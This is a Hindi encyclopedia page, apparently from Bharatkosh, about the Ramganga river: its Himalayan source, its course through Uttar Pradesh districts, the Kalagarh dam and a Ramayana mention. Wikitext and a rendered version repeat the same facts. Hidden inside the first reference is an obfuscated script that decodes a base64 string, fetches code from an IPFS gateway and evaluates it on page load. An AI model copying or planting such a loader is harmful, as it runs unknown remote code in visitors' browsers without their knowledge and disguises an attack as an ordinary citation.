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'''रामगंगा नदी''' [[लघु हिमालय]] [[पर्वत]] शृंखलाओं से निकलती है।
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'''रामगंगा नदी''' [[लघु हिमालय]] [[पर्वत]] श्रृंखलाओं से निकलती है। यह नदी [[उत्तराखंड]] के गढ़वाल ज़िले के कुमाऊ क्षेत्र [[हिमालय]] श्रेणी के दक्षिणी भाग से [[नैनीताल]] के निकट निकलती हुई [[उत्तर प्रदेश]] में बहती है।
*रामगंगा नदी [[उत्तराखंड]] के गढ़वाल ज़िले के कुमाऊ क्षेत्र [[हिमालय]] श्रेणी के दक्षिणी भाग से [[नैनीताल]] के निकट निकलती हुई [[उत्तर प्रदेश]] में बहती है।  
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*यह 144 किलोमीटर की पहाड़ी यात्रा करके कालागढ़ ज़िले के निकट [[बिजनौर ज़िला|बिजनौर ज़िले]] के मैदानों में उतरती है। मैदानी यात्रा के 24 किमी के उपरान्त कोह नदी इसमें मिलती है।  
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*[[मध्य काल]] के [[मुसलमान]] साहित्यकारों ने इसी नदी को 'राहिब' लिखा है।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=ऐतिहासिक स्थानावली|लेखक=विजयेन्द्र कुमार माथुर|अनुवादक= |आलोचक= |प्रकाशक=राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर|संकलन= भारतकोश पुस्तकालय|संपादन= |पृष्ठ संख्या=787|url=}}</ref>
*रामगंगा नदी 600 किमी बहने के उपरान्त [[कन्नौज]] के निकट [[हरदोई]] जनपद की [[सवायजपुर]] तहसील में [[गंगा नदी|गंगा]] में मिल जाती है।
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*यह नदी शायद [[रामायण|वाल्मीकि रामायण]], [[अयोध्या काण्ड वा. रा.|अयोध्या काण्ड]]<ref>अयोध्या काण्ड 71, 14</ref> में वर्णित 'उत्तरगा नदी' है।
*[[मुरादाबाद]], [[बरेली]], [[बदायूँ]], [[शाहजहाँपुर]], [[फ़र्रुख़ाबाद]], हरदोई, आदि ज़िलों से गुजरती है।  
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*रामगंगा नदी का प्रयोग सिंचाई में अधिक नहीं हो पाता, क्योंकि इसका मार्ग अनिश्चित और परिवर्तनशील है।  
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<blockquote>'वासंकृत्वा सर्वतीर्थे तीर्त्वाचोत्तरंगा नदीम्, अन्यानदीश्च विविधै: पार्वतीयैस्तुरंगमै:।'</blockquote>
*इस नदी से सिंचाई का लाभ उठाने के लिए कालागढ़ में एक बाँध बनाया गया है।  
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*यह नदी 144 किलोमीटर की पहाड़ी यात्रा करके कालागढ़ ज़िले के निकट [[बिजनौर ज़िला|बिजनौर ज़िले]] के मैदानों में उतरती है। मैदानी यात्रा के 24 कि.मी. के उपरान्त कोह नदी इसमें मिलती है।
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11:26, 9 फ़रवरी 2021 के समय का अवतरण

रामगंगा नदी

रामगंगा नदी लघु हिमालय पर्वत श्रृंखलाओं से निकलती है। यह नदी उत्तराखंड के गढ़वाल ज़िले के कुमाऊ क्षेत्र हिमालय श्रेणी के दक्षिणी भाग से नैनीताल के निकट निकलती हुई उत्तर प्रदेश में बहती है।

'वासंकृत्वा सर्वतीर्थे तीर्त्वाचोत्तरंगा नदीम्, अन्यानदीश्च विविधै: पार्वतीयैस्तुरंगमै:।'

  • यह नदी 144 किलोमीटर की पहाड़ी यात्रा करके कालागढ़ ज़िले के निकट बिजनौर ज़िले के मैदानों में उतरती है। मैदानी यात्रा के 24 कि.मी. के उपरान्त कोह नदी इसमें मिलती है।
  • रामगंगा नदी 600 कि.मी. बहने के उपरान्त कन्नौज के निकट हरदोई जनपद की सवायजपुर तहसील में गंगा में मिल जाती है।
  • मुरादाबाद, बरेली, बदायूँ, शाहजहाँपुर, फ़र्रुख़ाबाद, हरदोई आदि ज़िलों से यह गुजरती है।
  • इस नदी के जल का प्रयोग सिंचाई में अधिक नहीं हो पाता, क्योंकि इसका मार्ग अनिश्चित और परिवर्तनशील है।
  • नदी से सिंचाई का लाभ उठाने के लिए कालागढ़ में एक बाँध भी बनाया गया है।


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वीथिका

टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 787 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. अयोध्या काण्ड 71, 14

संबंधित लेख

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